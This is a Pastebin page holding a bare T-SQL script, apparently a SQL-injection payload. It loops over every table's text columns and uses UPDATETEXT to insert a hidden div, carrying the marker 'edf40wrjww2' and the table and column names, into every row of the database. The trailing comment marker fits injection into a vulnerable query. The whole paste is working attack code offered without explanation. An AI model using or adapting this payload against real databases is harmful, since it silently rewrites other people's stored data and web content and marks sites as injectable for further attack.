Advertisement
Guest User

Untitled

a guest
Jan 19th, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
T-SQL 0.96 KB | None | 0 0
  1. declare @c cursor;
  2. set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';declare @a varchar(99);
  3. declare @s varchar(99);
  4. declare @f varchar(99);
  5. declare @q varchar(8000);
  6. open @c;fetch next from @c into @a,@s;
  7. while @@FETCH_STATUS=0
  8. begin set @q='declare @f binary(16);
  9. declare @x cursor;
  10. set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where not ['+@s+'] like ''%edf40wrjww2%'';
  11. open @x;
  12. fetch next from @x into @f;
  13. while @@FETCH_STATUS=0
  14. begin declare @s varchar(8000);
  15. set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 0 ''''''+char(60)+''div style="display:none"''+char(62)+''edf40wrjww2'+@a+':'+@s+'''+char(60)+char(47)+''div''+char(62)+'''''';'';exec(@s);
  16. fetch next from @x into @f;
  17. end;close @x';
  18. exec(@q);
  19. fetch next from @c into @a,@s;end;close @c--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement